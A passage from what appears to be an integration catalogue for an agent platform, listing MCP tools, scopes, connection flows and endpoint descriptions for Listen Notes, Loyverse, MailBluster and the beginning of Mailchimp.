bulk run rather than after. Like every reply on this API it is an envelope: `success` (1 or 0, an INTEGER and not a boolean), a human `message`, usually an `error_code`, and the payload under `data`. The success shape here is the vendor's published contract, not a measured reply: no ListClean credential existed for this build, so no 200 on this provider has been observed. POST /api/v1/listclean/verify/email/batch. Scopes: api. ================================================================================ ## Listen Notes URL: https://www.agenticfabriq.com/integrations/listennotes Section: Integrated Tools Listen Notes — 26 MCP tools Provider key: listennotes. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. listennotes_delete_podcasts_by_id (write, destructive) — Request to delete a podcast. THIS ACTS ON THE PUBLIC LISTEN NOTES DIRECTORY, NOT ON ANYTHING THIS ACCOUNT OWNS: it asks Listen Notes to remove a podcast from the directory every Listen Notes user searches. It is a REQUEST, not an immediate deletion -- Listen Notes reviews it within 12 hours and the response's `status` is "in review" (or "deleted" if the podcast was already gone). It is intended for podcast HOSTING SERVICES acting on behalf of the podcaster who owns the feed; do not call it for a podcast the user does not control. THE VENDOR DOCUMENTS A NO-OP: passing reason="testing" tells Listen Notes you are testing the endpoint and "we will not actually delete the podcast" -- use it for any call that is not a genuine deletion request. Measured 2026-09-17: reason=testing -> 200 {"status": "in review"}. DELETE /api/v2/podcasts/{id}. Podcast hosting services can use this endpoint to streamline the process of podcast deletion on behave of their users (podcasters). We will review the deletion request within 12 hours. If the podcast is already deleted, the "status" field in the response will be "deleted". Otherwise, the status field will be "in review". If you want to get a notification once the podcast is deleted, you can configure a webhook url in the dashboard: listennotes.com/api/dashboard/#webhooks DELETE /api/v1/listennotes/api/v2/podcasts/{id}. Scopes: api. listennotes_get_best_podcasts (read) — Fetch a list of best podcasts by genre. GET /api/v2/best_podcasts. Get a list of curated best podcasts by genre, which are curated by Listen Notes staffs based on various signals from the Internet, e.g., top charts on other podcast platforms, recommendations from mainstream media, user activities on listennotes.com... You can get the genre ids from GET /genres endpoint. This endpoint returns same data as https://www.listennotes.com/best-podcasts/ GET /api/v1/listennotes/api/v2/best_podcasts. Scopes: api. listennotes_get_curated_podcasts (read) — Fetch curated lists of podcasts. GET /api/v2/curated_podcasts. A bunch of curated lists from online media. For each list, you'll get basic info of up to 5 podcasts. To get detailed meta data of all podcasts in a specific list, you need to use GET /curated_podcasts/{id}. We add new curated lists to the database on a daily basis. GET /api/v1/listennotes/api/v2/curated_podcasts. Scopes: api. listennotes_get_curated_podcasts_by_id (read) — Fetch a curated list of podcasts by id. GET /api/v2/curated_podcasts/{id}. Get detailed meta data of all podcasts in a specific curated list. This endpoint returns same data as https://www.listennotes.com/curated-podcasts/ GET /api/v1/listennotes/api/v2/curated_podcasts/{id}. Scopes: api. listennotes_get_episodes_by_id (read) — Fetch detailed meta data for an episode by id. GET /api/v2/episodes/{id}. Fetch detailed meta data for a specific episode. GET /api/v1/listennotes/api/v2/episodes/{id}. Scopes: api. listennotes_get_episodes_by_id_recommendations (read) — Fetch recommendations for an episode. GET /api/v2/episodes/{id}/recommendations. Fetch up to 8 episode recommendations based on the given episode id. GET /api/v1/listennotes/api/v2/episodes/{id}/recommendations. Scopes: api. listennotes_get_genres (read) — Fetch a list of podcast genres. GET /api/v2/genres. Get a list of podcast genres that are supported in Listen Notes. The genre id can be passed to other endpoints as a parameter to get podcasts in a specific genre, e.g., GET /best_podcasts, GET /search... You may want to cache the list of genres on the client side. GET /api/v1/listennotes/api/v2/genres. Scopes: api. listennotes_get_just_listen (read) — Fetch a random podcast episode. GET /api/v2/just_listen. Recently published episodes are more likely to be fetched. Good luck! GET /api/v1/listennotes/api/v2/just_listen. Scopes: api. listennotes_get_languages (read) — Fetch a list of supported languages for podcasts. GET /api/v2/languages. Get a list of languages that are supported in Listen Notes database. You can use the language string as query parameter in GET /search. GET /api/v1/listennotes/api/v2/languages. Scopes: api. listennotes_get_playlists (read) — Fetch a list of your playlists. GET /api/v2/playlists. This endpoint returns same data as listennotes.com/listen under your account. You can use the page parameter to do pagination and fetch more playlists. GET /api/v1/listennotes/api/v2/playlists. Scopes: api. listennotes_get_playlists_by_id (read) — Fetch a playlist's info and items (i.e., episodes or podcasts). GET /api/v2/playlists/{id}. A playlist can be an episode list (i.e., all items are episodes) or a podcast list (i.e., all items are podcasts), which is essentially the same as those created via listennotes.com/listen/. This endpoint fetches a list of items (i.e., episodes or podcasts) in the playlist. You can use the last_pub_date_ms parameter to do pagination and fetch more items. A playlist can be public (discoverable on ListenNotes.com), unlisted (accessible to anyone who knows the playlist id), or private (accessible to its owner). You can fetch all playlists created by you, and public / unlisted playlists created by others. GET /api/v1/listennotes/api/v2/playlists/{id}. Scopes: api. listennotes_get_podcasts_by_id (read) — Fetch detailed meta data and episodes for a podcast by id. GET /api/v2/podcasts/{id}. Fetch detailed meta data and episodes for a specific podcast (up to 10 episodes each time). You can use the next_episode_pub_date parameter to do pagination and fetch more episodes. During pagination with next_episode_pub_date, an empty episodes array in the response signals that no more episodes are available. GET /api/v1/listennotes/api/v2/podcasts/{id}. Scopes: api. listennotes_get_podcasts_by_id_audience (read) — Fetch audience demographics for a podcast. GET /api/v2/podcasts/{id}/audience. Fetch audience demographics for a podcast - 1) directly measured on the Listen Notes platform; 2) only supports audience breakdown by regions for now; 3) not every podcast has data. GET /api/v1/listennotes/api/v2/podcasts/{id}/audience. Scopes: api. listennotes_get_podcasts_by_id_recommendations (read) — Fetch recommendations for a podcast. GET /api/v2/podcasts/{id}/recommendations. Fetch up to 8 podcast recommendations based on the given podcast id. GET /api/v1/listennotes/api/v2/podcasts/{id}/recommendations. Scopes: api. listennotes_get_podcasts_domains_by_domain_name (read) — Fetch podcasts by a publisher's domain name. GET /api/v2/podcasts/domains/{domain_name}. Fetch podcasts by a publisher's domain name, e.g., nytimes.com, wondery.com, npr.org... Each request will return up to 10 podcasts. You can use the page parameter to paginate. GET /api/v1/listennotes/api/v2/podcasts/domains/{domain_name}. Scopes: api. listennotes_get_regions (read) — Fetch a list of supported countries/regions for best podcasts. GET /api/v2/regions. It returns a dictionary of country codes (e.g., us, gb...) & country names (United States, United Kingdom...). The country code is used in the query parameter region of GET /best_podcasts. GET /api/v1/listennotes/api/v2/regions. Scopes: api. listennotes_get_related_searches (read) — Fetch related search terms. PRO/ENTERPRISE ONLY. Measured 2026-09-17 with a valid FREE-plan key: 401 {"error": "Please upgrade to PRO or ENTERPRISE plan to use this endpoint. Learn more: listennotes.com/api/pricing"}. That 401 is about the PLAN, not the key -- the same key works on every other tool here. Do not treat it as a credential failure and do not retry it; the account needs an upgrade at listennotes.com/api/pricing. GET /api/v2/related_searches. Suggest related search terms. The results are more comprehensive than from GET /typeahead. This endpoint is available only in the PRO/ENTERPRISE plan. GET /api/v1/listennotes/api/v2/related_searches. Scopes: api. listennotes_get_search (read) — Full-text search. GET /api/v2/search. Full-text search on episodes, podcasts, or curated lists of podcasts. Use the offset parameter to paginate through search results. The FREE plan allows to see up to 30 search results (or offset < 30) per query. The PRO plan allows to see up to 300 search results (or offset < 300) per query. The ENTERPRISE plan allows to see up to 10,000 search results (or offset < 10000) per query. GET /api/v1/listennotes/api/v2/search. Scopes: api. listennotes_get_search_episode_titles (read) — Find individual episodes by searching for their titles. GET /api/v2/search_episode_titles. Conduct targeted searches for individual episodes by title and refine results using the podcast id such as Listen Notes Podcast ID, Apple Podcasts ID, Spotify ID, or RSS feed URL. This endpoint is specially designed to streamline the import of specific episodes from platforms like Apple Podcasts and Spotify into your application. Compared to the GET /search endpoint, which performs full-text searches across multiple fields, this endpoint focuses solely on episode titles for enhanced accuracy and performance. GET /api/v1/listennotes/api/v2/search_episode_titles. Scopes: api. listennotes_get_spellcheck (read) — Spell check on a search term. PRO/ENTERPRISE ONLY. Measured 2026-09-17 with a valid FREE-plan key: 401 {"error": "Please upgrade to PRO or ENTERPRISE plan to use this endpoint. Learn more: listennotes.com/api/pricing"}. That 401 is about the PLAN, not the key -- the same key works on every other tool here. Do not treat it as a credential failure and do not retry it; the account needs an upgrade at listennotes.com/api/pricing. GET /api/v2/spellcheck. Suggest a list of words that correct the spelling errors of a search term. This endpoint is available only in the PRO/ENTERPRISE plan. GET /api/v1/listennotes/api/v2/spellcheck. Scopes: api. listennotes_get_trending_searches (read) — Fetch trending search terms. GET /api/v2/trending_searches. Fetch up to 10 most recent trending search terms on the Listen Notes platform. GET /api/v1/listennotes/api/v2/trending_searches. Scopes: api. listennotes_get_typeahead (read) — Typeahead search. GET /api/v2/typeahead. Suggest search terms, podcast genres, and podcasts. GET /api/v1/listennotes/api/v2/typeahead. Scopes: api. listennotes_post_episodes (write) — Batch fetch basic meta data for episodes. PRO/ENTERPRISE ONLY -- the vendor's own description says so, and it is measured: 2026-09-17, a valid FREE-plan key answered 401 {"error": "Please upgrade to PRO or ENTERPRISE plan to use this endpoint. Learn more: listennotes.com/api/pricing"}. That 401 is about the PLAN, not the key. On a FREE plan, fetch episodes one at a time with Fetch detailed meta data for an episode by id instead. POST /api/v2/episodes. Batch fetch basic meta data for up to 10 episodes. This endpoint could be used to implement custom playlists for individual episodes. For detailed meta data of an individual episode, you need to use GET /episodes/{id}. This endpoint is available only in the PRO/ENTERPRISE plan. POST /api/v1/listennotes/api/v2/episodes. Scopes: api. listennotes_post_podcasts (write) — Batch fetch basic meta data for podcasts. PRO/ENTERPRISE ONLY -- the vendor's own description says so, and it is measured: 2026-09-17, a valid FREE-plan key answered 401 {"error": "Please upgrade to PRO or ENTERPRISE plan to use this endpoint. Learn more: listennotes.com/api/pricing"}. That 401 is about the PLAN, not the key. On a FREE plan, fetch podcasts one at a time with Fetch detailed meta data and episodes for a podcast by id instead. POST /api/v2/podcasts. Batch fetch basic meta data for up to 10 podcasts. This endpoint could be used to build something like OPML import, allowing users to import a bunch of podcasts via rss urls. For detailed meta data (including episodes) of an individual podcast, you need to use GET /podcasts/{id}. This endpoint is available only in the PRO/ENTERPRISE plan. POST /api/v1/listennotes/api/v2/podcasts. Scopes: api. listennotes_post_podcasts_by_id_rss (write) — Refresh RSS feed of a podcast. PRO/ENTERPRISE ONLY -- the vendor's own description says so, and it is measured: 2026-09-17, a valid FREE-plan key answered 401 {"error": "Please upgrade to PRO or ENTERPRISE plan to use this endpoint. Learn more: listennotes.com/api/pricing"}. That 401 is about the PLAN, not the key. POST /api/v2/podcasts/{id}/rss. Refresh a podcast's RSS feed. Each podcast is limited to one refresh per hour. Refresh durations range from a few seconds to several minutes, contingent on the RSS feed size and server responsiveness. This endpoint is available only in the PRO/ENTERPRISE plan. POST /api/v1/listennotes/api/v2/podcasts/{id}/rss. Scopes: api. listennotes_post_podcasts_submit (write) — Submit a podcast to Listen Notes database. THIS WRITES TO THE PUBLIC LISTEN NOTES DIRECTORY, NOT TO ANYTHING THIS ACCOUNT OWNS: it submits an RSS feed for inclusion in the directory every Listen Notes user searches. If the feed is already indexed the response's `status` is "found" and nothing is created; otherwise it is "in review" (Listen Notes reviews within 12 hours) or "rejected". Intended for podcast hosting services submitting on behalf of their users. Measured 2026-09-17 with an already-indexed feed -> 200 {"status": "found"}. POST /api/v2/podcasts/submit. Podcast hosting services can use this endpoint to help your users directly submit a new podcast to Listen Notes database. If the podcast doesn't exist in the database, "status" in the response will be "in review", and we'll review it within 12 hours. If the podcast exists, "status" in the response will be "found". If this submission is rejected, "status" in the response will be "rejected". You can use POST /podcasts to check if multiple podcasts exist in the database. If you want to get a notification once the podcast is accepted, you can either specify the "email" parameter or configure a webhook url in the dashboard: listennotes.com/api/dashboard/#webhooks POST /api/v1/listennotes/api/v2/podcasts/submit. Scopes: api. ================================================================================ ## Loyverse URL: https://www.agenticfabriq.com/integrations/loyverse Section: Integrated Tools Loyverse — 56 MCP tools Provider key: loyverse. Scopes: CUSTOMERS_READ, CUSTOMERS_WRITE, EMPLOYEES_READ, INVENTORY_READ, INVENTORY_WRITE, ITEMS_READ, ITEMS_WRITE, MERCHANT_READ, PAYMENT_TYPES_READ, POS_DEVICES_READ, POS_DEVICES_WRITE, RECEIPTS_READ, RECEIPTS_WRITE, SHIFTS_READ, STORES_READ, SUPPLIERS_READ, SUPPLIERS_WRITE, TAXES_READ, TAXES_WRITE. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. loyverse_delete_categories_by_category_id (write, destructive) — Delete Category via DELETE /categories/{category_id} DELETE /api/v1/loyverse/categories/{category_id}. Scopes: ITEMS_WRITE. loyverse_delete_customers_by_customer_id (write, destructive) — Delete Customer via DELETE /customers/{customer_id} DELETE /api/v1/loyverse/customers/{customer_id}. Scopes: CUSTOMERS_WRITE. loyverse_delete_discounts_by_discount_id (write, destructive) — Delete Discount via DELETE /discounts/{discount_id} DELETE /api/v1/loyverse/discounts/{discount_id}. Scopes: ITEMS_WRITE. loyverse_delete_items_by_item_id (write, destructive) — Delete Item via DELETE /items/{item_id} DELETE /api/v1/loyverse/items/{item_id}. Scopes: ITEMS_WRITE. loyverse_delete_items_by_item_id_image (write, destructive) — Delete a single image via DELETE /items/{item_id}/image DELETE /api/v1/loyverse/items/{item_id}/image. Scopes: ITEMS_WRITE. loyverse_delete_modifiers_by_modifier_id (write, destructive) — Delete Modifier via DELETE /modifiers/{modifier_id} DELETE /api/v1/loyverse/modifiers/{modifier_id}. Scopes: ITEMS_WRITE. loyverse_delete_pos_devices_by_pos_device_id (write, destructive) — Delete POS Device via DELETE /pos_devices/{pos_device_id} DELETE /api/v1/loyverse/pos_devices/{pos_device_id}. Scopes: POS_DEVICES_WRITE. loyverse_delete_suppliers_by_supplier_id (write, destructive) — Delete Supplier via DELETE /suppliers/{supplier_id} DELETE /api/v1/loyverse/suppliers/{supplier_id}. Scopes: SUPPLIERS_WRITE. loyverse_delete_taxes_by_tax_id (write, destructive) — Delete Tax via DELETE /taxes/{tax_id} DELETE /api/v1/loyverse/taxes/{tax_id}. Scopes: TAXES_WRITE. loyverse_delete_variants_by_variant_id (write, destructive) — Delete Item Variant via DELETE /variants/{variant_id} DELETE /api/v1/loyverse/variants/{variant_id}. Scopes: ITEMS_WRITE. loyverse_delete_webhooks_by_webhook_id (write, destructive) — Delete Webhook via DELETE /webhooks/{webhook_id} DELETE /api/v1/loyverse/webhooks/{webhook_id}. Scopes: none. loyverse_get_categories (read) — The list of categories is sorted by created_at property in descending order. The most recent categories appear first via GET /categories GET /api/v1/loyverse/categories. Scopes: ITEMS_READ. loyverse_get_categories_by_category_id (read) — Get a single category via GET /categories/{category_id} GET /api/v1/loyverse/categories/{category_id}. Scopes: ITEMS_READ. loyverse_get_customers (read) — The list of customers is sorted by created_at property in descending order. The most recent customers appear first via GET /customers GET /api/v1/loyverse/customers. Scopes: CUSTOMERS_READ. loyverse_get_customers_by_customer_id (read) — Get a single customer via GET /customers/{customer_id} GET /api/v1/loyverse/customers/{customer_id}. Scopes: CUSTOMERS_READ. loyverse_get_discounts (read) — The list of discounts is sorted by created_at property in descending order. The most recent discounts appear first via GET /discounts GET /api/v1/loyverse/discounts. Scopes: ITEMS_READ. loyverse_get_discounts_by_discount_id (read) — Get a single discount via GET /discounts/{discount_id} GET /api/v1/loyverse/discounts/{discount_id}. Scopes: ITEMS_READ. loyverse_get_employees (read) — The list of employees is sorted by created_at property in descending order. The most recent employees appear first via GET /employees GET /api/v1/loyverse/employees. Scopes: EMPLOYEES_READ. loyverse_get_employees_by_employee_id (read) — Get a single employee via GET /employees/{employee_id} GET /api/v1/loyverse/employees/{employee_id}. Scopes: EMPLOYEES_READ. loyverse_get_inventory (read) — Inventory levels for item variants via GET /inventory GET /api/v1/loyverse/inventory. Scopes: INVENTORY_READ. loyverse_get_items (read) — The list of items is sorted by created_at property in descending order. The most recent items appear first via GET /items GET /api/v1/loyverse/items. Scopes: ITEMS_READ. loyverse_get_items_by_item_id (read) — Get a single item via GET /items/{item_id} GET /api/v1/loyverse/items/{item_id}. Scopes: ITEMS_READ. loyverse_get_merchant (read) — Get merchant information via GET /merchant/ GET /api/v1/loyverse/merchant. Scopes: MERCHANT_READ. loyverse_get_modifiers (read) — The list of modifiers is sorted by created_at property in descending order. The most recent modifiers appear first via GET /modifiers GET /api/v1/loyverse/modifiers. Scopes: ITEMS_READ. loyverse_get_modifiers_by_modifier_id (read) — Get a single modifier via GET /modifiers/{modifier_id} GET /api/v1/loyverse/modifiers/{modifier_id}. Scopes: ITEMS_READ. loyverse_get_payment_types (read) — The list of payment types is sorted by created_at property in descending order. The most recent payment types appear first via GET /payment_types GET /api/v1/loyverse/payment_types. Scopes: PAYMENT_TYPES_READ. loyverse_get_payment_types_by_payment_type_id (read) — Get a single payment type via GET /payment_types/{payment_type_id} GET /api/v1/loyverse/payment_types/{payment_type_id}. Scopes: PAYMENT_TYPES_READ. loyverse_get_pos_devices (read) — The list of pos devices is sorted by created_at property in descending order. The most recent pos devices appear first via GET /pos_devices GET /api/v1/loyverse/pos_devices. Scopes: POS_DEVICES_READ. loyverse_get_pos_devices_by_pos_device_id (read) — Get a single pos device via GET /pos_devices/{pos_device_id} GET /api/v1/loyverse/pos_devices/{pos_device_id}. Scopes: POS_DEVICES_READ. loyverse_get_receipts (read) — The list of receipts is sorted by created_at property in descending order. The most recent receipts appear first via GET /receipts GET /api/v1/loyverse/receipts. Scopes: RECEIPTS_READ. loyverse_get_receipts_by_receipt_number (read) — Get a single receipt via GET /receipts/{receipt_number} GET /api/v1/loyverse/receipts/{receipt_number}. Scopes: RECEIPTS_READ. loyverse_get_shifts (read) — The list of shifts is sorted by created_at property in descending order. The most recent shifts appear first via GET /shifts GET /api/v1/loyverse/shifts. Scopes: SHIFTS_READ. loyverse_get_shifts_by_shift_id (read) — Get a single shift via GET /shifts/{shift_id} GET /api/v1/loyverse/shifts/{shift_id}. Scopes: SHIFTS_READ. loyverse_get_stores (read) — The list of stores is sorted by created_at property in descending order. The most recent stores appear first via GET /stores GET /api/v1/loyverse/stores. Scopes: STORES_READ. loyverse_get_stores_by_store_id (read) — Get a single store via GET /stores/{store_id} GET /api/v1/loyverse/stores/{store_id}. Scopes: STORES_READ. loyverse_get_suppliers (read) — The list of suppliers is sorted by created_at property in descending order. The most recent suppliers appear first via GET /suppliers/ GET /api/v1/loyverse/suppliers. Scopes: SUPPLIERS_READ. loyverse_get_suppliers_by_supplier_id (read) — Get a single supplier via GET /suppliers/{supplier_id} GET /api/v1/loyverse/suppliers/{supplier_id}. Scopes: SUPPLIERS_READ. loyverse_get_taxes (read) — The list of taxes is sorted by created_at property in descending order. The most recent taxes appear first via GET /taxes GET /api/v1/loyverse/taxes. Scopes: TAXES_READ. loyverse_get_taxes_by_tax_id (read) — Get a single tax via GET /taxes/{tax_id} GET /api/v1/loyverse/taxes/{tax_id}. Scopes: TAXES_READ. loyverse_get_variants (read) — The list of variants is sorted by created_at property in descending order. The most recent variants appear first via GET /variants GET /api/v1/loyverse/variants. Scopes: ITEMS_READ. loyverse_get_variants_by_variant_id (read) — Get a single item variant via GET /variants/{variant_id} GET /api/v1/loyverse/variants/{variant_id}. Scopes: ITEMS_READ. loyverse_get_webhooks (read) — This endpoint will only return webhooks created by the application which is making the request. via GET /webhooks/ GET /api/v1/loyverse/webhooks. Scopes: none. loyverse_get_webhooks_by_webhook_id (read) — Get a single webhook via GET /webhooks/{webhook_id} GET /api/v1/loyverse/webhooks/{webhook_id}. Scopes: none. loyverse_post_categories (write) — Create or update a single category via POST /categories POST /api/v1/loyverse/categories. Scopes: ITEMS_WRITE. loyverse_post_customers (write) — Create or update a single customer via POST /customers POST /api/v1/loyverse/customers. Scopes: CUSTOMERS_WRITE. loyverse_post_discounts (write) — Create or update a single discount via POST /discounts POST /api/v1/loyverse/discounts. Scopes: ITEMS_WRITE. loyverse_post_inventory (write) — Batch update inventory levels for item variants via POST /inventory POST /api/v1/loyverse/inventory. Scopes: INVENTORY_WRITE. loyverse_post_items (write) — Create or update a single item via POST /items POST /api/v1/loyverse/items. Scopes: ITEMS_WRITE. loyverse_post_modifiers (write) — Create or update a single modifier via POST /modifiers POST /api/v1/loyverse/modifiers. Scopes: ITEMS_WRITE. loyverse_post_pos_devices (write) — Create or update a single pos device via POST /pos_devices POST /api/v1/loyverse/pos_devices. Scopes: POS_DEVICES_WRITE. loyverse_post_receipts (write) — Create a sales receipt via POST /receipts POST /api/v1/loyverse/receipts. Scopes: RECEIPTS_WRITE. loyverse_post_receipts_by_receipt_number_refund (write) — When using the refund API you should take into account these notes: * At the moment refund API allows creating a refund only for sales receipts which are paid by a single payment. For any attempt to make a refund for a sales receipt that has more than one payment Loyverse API will respond with an error. * Refund API doesn't support a refund of receipts paid by integrated payments using Loyverse POS app (e.g. iZettle, Sumup, etc.). For this purpose please use Loyverse POS app. * If a refund is created successfully, it will cause a restock of items specified in a refund receipt. via POST /receipts/{receipt_number}/refund POST /api/v1/loyverse/receipts/{receipt_number}/refund. Scopes: RECEIPTS_WRITE. loyverse_post_suppliers (write) — Create or update a single supplier via POST /suppliers/ POST /api/v1/loyverse/suppliers. Scopes: SUPPLIERS_WRITE. loyverse_post_taxes (write) — Create or update a single tax via POST /taxes POST /api/v1/loyverse/taxes. Scopes: TAXES_WRITE. loyverse_post_variants (write) — Create or update a single variant via POST /variants POST /api/v1/loyverse/variants. Scopes: ITEMS_WRITE. loyverse_post_webhooks (write) — Create or update a single webhook via POST /webhooks/ POST /api/v1/loyverse/webhooks. Scopes: none. ================================================================================ ## MailBluster URL: https://www.agenticfabriq.com/integrations/mail_bluster Section: Integrated Tools MailBluster — 18 MCP tools Provider key: mail_bluster. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. mail_bluster_delete_api_fields_by_field_id (write, destructive) — Delete a custom field from this brand -- irreversibly, and wider than it looks: the field's stored value goes with it on EVERY lead in the brand, and MailBluster documents no restore via DELETE /api/fields/{field_id} DELETE /api/v1/mail_bluster/api/fields/{field_id}. Scopes: api. mail_bluster_delete_api_leads_by_lead_hash (write, destructive) — Delete one lead from this brand -- irreversibly, since MailBluster documents no trash, no soft-delete state and no restore -- addressed by the MD5 hash of its email address via DELETE /api/leads/{lead_hash} DELETE /api/v1/mail_bluster/api/leads/{lead_hash}. Scopes: api. mail_bluster_delete_api_orders_by_order_id (write, destructive) — Delete one order and its line items from this brand -- irreversibly, since MailBluster documents no trash and no restore via DELETE /api/orders/{order_id} DELETE /api/v1/mail_bluster/api/orders/{order_id}. Scopes: api. mail_bluster_delete_api_products_by_product_id (write, destructive) — Delete a product from this brand's catalogue -- irreversibly, since MailBluster documents no trash and no restore via DELETE /api/products/{product_id} DELETE /api/v1/mail_bluster/api/products/{product_id}. Scopes: api. mail_bluster_get_api_fields (read) — List every custom field defined on this brand -- no parameters, no pagination -- with its display label and its merge tag, which is what tells a caller the keys a lead's `fields` object may carry via GET /api/fields GET /api/v1/mail_bluster/api/fields. Scopes: api. mail_bluster_get_api_leads_by_lead_hash (read) — Read one lead's name, custom field values, timezone, IP address, subscription state, opt-in status and tags, addressed by `lead_hash` -- the MD5 hash of its email address. There is no collection read for leads on this provider, so this is the only way to look one up via GET /api/leads/{lead_hash} GET /api/v1/mail_bluster/api/leads/{lead_hash}. Scopes: api. mail_bluster_get_api_orders (read) — List this brand's orders one page at a time with `pageNo` and `perPage` (default 1 and 10), each with its customer lead, its campaign attribution and its line items; the `meta` object carries the total and the page count via GET /api/orders GET /api/v1/mail_bluster/api/orders. Scopes: api. mail_bluster_get_api_orders_by_order_id (read) — Read one order with its customer lead, its campaign attribution and its line items via GET /api/orders/{order_id} GET /api/v1/mail_bluster/api/orders/{order_id}. Scopes: api. mail_bluster_get_api_products (read) — List this brand's products one page at a time with `pageNo` and `perPage` (default 1 and 10); the `meta` object carries the total, the page count and the neighbouring page numbers via GET /api/products GET /api/v1/mail_bluster/api/products. Scopes: api. mail_bluster_get_api_products_by_product_id (read) — Read one product from this brand's catalogue by the id it was created with via GET /api/products/{product_id} GET /api/v1/mail_bluster/api/products/{product_id}. Scopes: api. mail_bluster_post_api_fields (write) — Define a custom field on this brand: a display label and the merge tag that campaigns and lead payloads address the value by via POST /api/fields POST /api/v1/mail_bluster/api/fields. Scopes: api. mail_bluster_post_api_leads (write) — Add a subscriber to this brand's list by email address, with an optional name, timezone, IP address, custom field values and tags; `subscribed` sets whether they receive email, `doubleOptIn` sends a confirmation message instead and makes `subscribed` irrelevant, and `overrideExisting` decides whether an address MailBluster already holds is overwritten or refused via POST /api/leads POST /api/v1/mail_bluster/api/leads. Scopes: api. mail_bluster_post_api_orders (write) — Record an ecommerce order against a customer's email address -- MailBluster creates the lead when that address is new and reuses the existing one otherwise -- with the order's currency, total price and line items, optionally attributed to a campaign via POST /api/orders POST /api/v1/mail_bluster/api/orders. Scopes: api. mail_bluster_post_api_products (write) — Register a product in this brand's ecommerce catalogue under an id YOU supply (MailBluster does not mint one) so that orders can reference it via POST /api/products POST /api/v1/mail_bluster/api/products. Scopes: api. mail_bluster_put_api_fields_by_field_id (write) — Change a custom field's display label or its merge tag, both of which MailBluster requires on every update -- a call that sends one and omits the other is refused rather than leaving the other half alone via PUT /api/fields/{field_id} PUT /api/v1/mail_bluster/api/fields/{field_id}. Scopes: api. mail_bluster_put_api_leads_by_lead_hash (write) — Change a lead's name, email address, custom field values, timezone, IP address or subscription state, and attach or detach tags -- `addTags` is applied before `removeTags`. The lead is addressed by `lead_hash`, the MD5 hash of its CURRENT email address via PUT /api/leads/{lead_hash} PUT /api/v1/mail_bluster/api/leads/{lead_hash}. Scopes: api. mail_bluster_put_api_orders_by_order_id (write) — Change an order's customer, campaign, currency, total price or line items. Every field is optional, but `items` REPLACES the whole line-item list rather than appending to it via PUT /api/orders/{order_id} PUT /api/v1/mail_bluster/api/orders/{order_id}. Scopes: api. mail_bluster_put_api_products_by_product_id (write) — Rename a product in this brand's catalogue. `name` is the only field MailBluster accepts here, and it is required via PUT /api/products/{product_id} PUT /api/v1/mail_bluster/api/products/{product_id}. Scopes: api. ================================================================================ ## Mailchimp URL: https://www.agenticfabriq.com/integrations/mailchimp Section: Integrated Tools Mailchimp — 298 MCP tools Provider key: mailchimp. Scopes: api. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. mailchimp_delete_automations_by_workflow_id_emails_by_workflow_email_id (write, destructive) — Delete automation email via DELETE /automations/{workflow_id}/emails/{workflow_email_id} DELETE /api/v1/mailchimp/automations/{workflow_id}/emails/{workflow_email_id}. Scopes: api. mailchimp_delete_batch_webhooks_by_batch_webhook_id (write, destructive) — Delete batch webhook via DELETE /batch-webhooks/{batch_webhook_id} DELETE /api/v1/mailchimp/batch-webhooks/{batch_webhook_id}. Scopes: api. mailchimp_delete_batches_by_batch_id (write, destructive) — Delete batch via DELETE /batches/{batch_id} DELETE /api/v1/mailchimp/batches/{batch_id}. Scopes: api. mailchimp_delete_campaign_folders_by_folder_id (write, destructive) — Delete campaign folder via DELETE /campaign-folders/{folder_id} DELETE /api/v1/mailchimp/campaign-folders/{folder_id}. Scopes: api. mailchimp_delete_campaigns_by_campaign_id (write, destructive) — Delete campaign via DELETE /campaigns/{campaign_id} DELETE /api/v1/mailchimp/campaigns/{campaign_id}. Scopes: api. mailchimp_delete_campaigns_by_campaign_id_feedback_by_feedback_id (write, destructive) — Delete campaign feedback via DELETE /campaigns/{campaign_id}/feedback/{feedback_id} DELETE /api/v1/mailchimp/campaigns/{campaign_id}/feedback/{feedback_id}. Scopes: api. mailchimp_delete_connected_sites_by_connected_site_id (write, destructive) — Delete connected site via DELETE /connected-sites/{connected_site_id} DELETE /api/v1/mailchimp/connected-sites/{connected_site_id}. Scopes: api. mailchimp_delete_ecommerce_stores_by_store_id (write, destructive) — Delete ecommerce store via 